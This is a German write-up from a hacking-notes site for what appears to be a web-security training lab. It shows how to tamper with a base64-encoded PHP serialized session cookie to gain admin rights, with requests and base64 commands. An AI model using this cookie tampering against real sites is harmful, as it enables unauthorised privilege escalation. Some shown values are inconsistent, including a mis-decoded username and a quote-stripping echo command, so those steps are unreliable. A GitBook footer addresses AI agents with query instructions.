> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/editing-serialized-objects.md).

# Bearbeiten serialisierter Objekte

### Serialisierte Objekte ändern

Dieses Labor verwendet einen Sitzungsmechanismus, der auf **Serialisierung** und stellt eine Schwachstelle dar, die es ermöglicht **Privilegieneskalation**. / Ziel ist es, das im Session-Cookie gespeicherte serialisierte Objekt zu ändern, um Admin-Rechte zu erhalten, und dann den Benutzer **carlos**.

Zum Einstieg wird ein Benutzerkonto bereitgestellt:

* **Kennung**: wiener
* **Passwort**: peter

**Erste Beobachtung**

Nach der Authentifizierung wird eine Anmeldeanfrage gesendet:

```http
POST /login HTTP/2
Host: 0a66003e03add3bb824ef63c001200c9.web-security-academy.net
Cookie: session=
Content-Length: 30

username=wiener&password=peter
```

Der Server antwortet mit einem Session-Cookie:

```http
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d;
```

**Analyse des Session-Cookies**

Der Inhalt des Cookies ist in Base64 kodiert. / Nach der Dekodierung erhält man ein serialisiertes PHP-Objekt:

```bash
O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}
```

Dieses Objekt enthält:

* Benutzername (`Benutzernamen`)
* einen Administratorrechte-Indikator (`admin`), definiert in `falschen` (`b:0`)

```http
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}" | base64 ; echo
```

Objekt in Base64 neu kodieren:

```bash
Tzo0OlVzZXI6Mjp7czo4OnVzZXJuYW1lO3M6NjpjYXJsb3M7czo1OmFkbWluO2I6MDt9Cg==
```

<figure><img src="/files/d3525d8dba8235450939055db8c6146b1609dcaa" alt=""><figcaption></figcaption></figure>

**Änderung des serialisierten Objekts**

Das Objekt kann clientseitig geändert werden, bevor es an den Server zurückgesendet wird.

1. Änderung des Benutzernamens zu **carlos**:
2. Aktivierung von Admin-Rechten durch Setzen von `admin` zu `wahr`:

```bash
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:1;}" | base64 ; echo
```

3. Objekt in Base64 neu kodieren:

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czo1OiJhZG1pbiI7YjoxO30lM2Q=
```

**Ausnutzung**

Das Session-Cookie wird durch den neu modifizierten Wert ersetzt.

<figure><img src="/files/181cab34c7a003597b05a5b28b3c596aad95b506" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/editing-serialized-objects.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
